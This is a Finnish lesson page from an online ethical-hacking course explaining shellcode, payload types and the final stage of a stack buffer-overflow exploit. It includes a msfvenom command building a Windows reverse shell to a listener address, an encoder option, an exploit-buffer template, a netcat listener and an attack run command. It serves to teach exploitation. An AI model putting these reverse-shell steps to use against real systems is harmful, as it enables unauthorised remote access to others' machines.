Shellcode ja hyväksikäyttö
Hankkikaa komentotulkki.
Shellcode ja hyväksikäyttö on ilmainen Ethical Hacking Academy-oppitunti CoddyKitissä. Tämä on oppitunti 4/4. Voit lukea koko oppitunnin alta ilmaiseksi ja harjoitella sen jälkeen käytännössä selaimessa sisäänrakennetulla koodieditorilla ja ympäri vuorokauden käytettävissä olevan tekoälytuutorin avulla. Oppitunti kuuluu Ethical Hacking Academy-oppimispolkuun, ja edistymisesi synkronoituu verkon ja CoddyKit-sovelluksen välillä. Ethical Hacking Academy-kurssilla on yhteensä 4 oppituntia.
Mitä shellcode on
Shellcode on pieni konekoodinpätkä, joka suorittaa toiminnon, kun se suoritetaan; klassinen toiminto on komentotulkin käynnistäminen. Se on hyötykuorma, johon ohjaatte suorituksen otettuasi EIP:n hallintaan.
Se kirjoitetaan raakatavuina (opkoodeina), jotta se voidaan syöttää suoraan muistiin.
Hyötykuormatyypit
Yleisiä hyötykuormien tavoitteita ovat:
- Bind shell: avaa kuuntelevan portin uhrin järjestelmään.
- Reverse shell: muodostaa yhteyden takaisin hyökkääjään (toimii paremmin palomuurien/NAT:n läpi).
- Komennon suorittaminen: suorittaa yksittäisen komennon, kuten käyttäjän lisäämisen.
Reverse shellit ovat yleisimpiä oikeissa hyökkäystilanteissa.
Luominen msfvenomilla
msfvenom luo hyötykuormia. Määritätte hyötykuorman tyypin, kuuntelijan osoitteen ja portin, tulostusmuodon sekä vältettävät haitalliset merkit.
Lippu -b jättää haitalliset merkit pois; -f määrittää tulostusmuodon.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cMiksi koodausta tarvitaan
Raaka shellcode sisältää usein haitallisia merkkejä, kuten nollatavuja. Kooderi muuntaa hyötykuorman näiden tavujen välttämiseksi ja lisää sen alkuun purkurutiinin, joka palauttaa alkuperäisen koodin suorituksen aikana.
Klassinen kooderi on x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Purkurutiini ja itsensä muokkaaminen
Koodattu shellcode purkaa itsensä muistissa ennen suorittamista. Tämä itsensä muokkaaminen tarvitsee pinosta hieman lisätilaa, mikä on yksi syy siihen, että NOP-liukuma ja riittävä puskuritila ovat hyödyllisiä.
Joskus ESP:tä on säädettävä ensin, jotta purkurutiini ei korruptoi omaa koodiaan.
Lopullisen exploitsin kokoaminen
Täydellinen exploit-puskuri sisältää:
- Täyte siirtymään asti.
- JMP ESP -paluuosoite.
- NOP-liukuma.
- Koodattu shellcode.
Lähettäkää tämä haavoittuvalle syötteelle, jolloin suoritus siirtyy hyötykuormaanne.
buf = "A"*offset + ret + "\x90"*16 + shellcodeKuuntelijan määrittäminen
Reverse shell -yhteyttä varten koneenne on asetettava kuuntelemaan ennen haavoittuvuuden hyödyntämistä. Yksinkertainen Netcat-kuuntelija vastaanottaa saapuvan yhteyden.
Staged-payload-kuormille käyttäkää sen sijaan Metasploitin multi/handler-käsittelijää.
nc -lvnp 4444Haavoittuvuuden hyödyntäminen
Kun kuuntelija on valmis, lähettäkää muodostettu puskuri kohteeseen. Jos kaikki osuu kohdalleen, shellkoodi suoritetaan ja kuuntelijanne vastaanottaa komentotulkin kohdekoneelta.
Teillä on nyt komennonsuoritusoikeus haavoittuvan prosessin oikeuksilla.
python exploit.py 10.0.0.20 9999Vianmääritys
Jos suoritus epäonnistuu, tarkistakaa yleiset syyt:
- Virheellinen merkki on päätynyt shellkoodiin tai paluuosoitteeseen.
- NOP-liuku on liian lyhyt.
- Dekooderilla ei ollut riittävästi tilaa pinossa (säätäkää ESP:tä).
- Väärä siirtymä tai tavujärjestys.
Järjestelmällinen virheenkorjaus debuggerissa auttaa paikantamaan ongelman.
Perinteistä puskuriylivuotoa pidemmälle
Kun DEP ja ASLR ovat käytössä, pinossa oleva tavallinen shellkoodi ei suoritu. Nykyaikaisissa hyökkäyksissä käytetään Return-Oriented Programming (ROP) -tekniikkaa olemassa olevien koodigadgettien ketjuttamiseen sekä tietovuotoja ASLR:n kiertämiseen.
Tällä kurssilla opetettiin perusta, jonka varaan nämä edistyneet tekniikat rakentuvat.
Staged- ja stageless-kuormat
Kuormia on kahta tyyppiä. Stageless-kuorma sisältää koko shellkoodin yhtenä kokonaisuutena. Staged-kuorma lähettää pienen aloitusosan, joka lataa loput kuormasta käsittelijältänne.
Staged-kuormat mahtuvat pienempiin puskureihin, mutta tarvitsevat sopivan käsittelijän, kuten Metasploitin multi/handler-käsittelijän, toisen vaiheen toimittamiseen.
Pikakertaus
Muistakaa, miksi shellkoodi usein koodataan.
Kertaus
Olette käyneet läpi hyödyntämisketjun:
- Shellkoodi on kuorma; reverse shell -yhteydet ovat käytännöllisimpiä.
- Luokaa ja koodatkaa se msfvenomilla virheellisten merkkien välttämiseksi.
- Koostakaa täyte + JMP ESP + NOP-liuku + shellkoodi, käynnistäkää kuuntelija ja suorittakaa hyökkäys.
- Nykyaikaisissa kohteissa tarvitaan ROP-tekniikkaa ja tietovuotoja DEP:n ja ASLR:n ohittamiseen.
Olette suorittaneet Buffer Overflow Exploitation -kurssin.
Opi Ethical Hacking Academy tekoälytuutorin avulla — ilmaiseksi
Kirjoita ja suorita oikeaa koodia selaimessa, saa välitöntä apua tekoälytuutorilta ympäri vuorokauden ja jatka siitä, mihin jäit, verkossa tai sovelluksessa.
- Kurssit
- 31
- Oppitunnit
- 111
Usein kysytyt kysymykset
Onko oppitunti ”Shellcode ja hyväksikäyttö” ilmainen?
Kyllä – oppitunnin ”Shellcode ja hyväksikäyttö” koko tekstin voi lukea täällä verkossa ilmaiseksi. Jos haluat harjoitella interaktiivisesti sisäänrakennetulla koodieditorilla ja ympäri vuorokauden käytettävissä olevan tekoälytuutorin avulla sekä avata koko Ethical Hacking Academy-kurssin, päivitä CoddyKit PROhon. Ethical Hacking Academy-kurssilla on yhteensä 4 oppituntia.
Mitä opin oppitunnilla ”Shellcode ja hyväksikäyttö”?
Hankkikaa komentotulkki. Harjoittelet Ethical Hacking Academy-aihetta koodilla, jonka suoritat suoraan selaimessa. Ympäri vuorokauden käytettävissä oleva tekoälytuutori vastaa kysymyksiisi oppitunnin aikana.
Tarvitsenko kokemusta aloittaakseni Ethical Hacking Academy-opiskelun?
Aiempi kokemus ei ole tarpeen. CoddyKitin Ethical Hacking Academy-oppimispolku sopii vasta-alkajista edistyneisiin, joten voit aloittaa tästä tai alusta ja edetä omaan tahtiisi. Tämä on oppitunti 4/4.
Kuinka kauan ”Shellcode ja hyväksikäyttö”-oppitunnin suorittaminen kestää?
Useimmat CoddyKitin oppitunnit kestävät noin 5–10 minuuttia. Jokainen oppitunti on lyhyt ja interaktiivinen, joten edistyt tasaisesti ja voit jatkaa siitä, mihin jäit – sekä verkossa että sovelluksessa.
Voinko kirjoittaa ja suorittaa koodia tällä Ethical Hacking Academy-oppitunnilla?
Kyllä. Jokainen Ethical Hacking Academy-oppitunti sisältää sisäänrakennetun koodieditorin, joten voit kirjoittaa ja suorittaa oikeaa koodia suoraan selaimessa ja saada välitöntä palautetta tekoälyltä – paikallista asennusta ei tarvita.
Kaikki tämän kurssin oppitunnit
- Muisti ja pino
- Fuzzing kaatumisten löytämiseksi
- EIP:n hallinta
- Shellcode ja hyväksikäyttö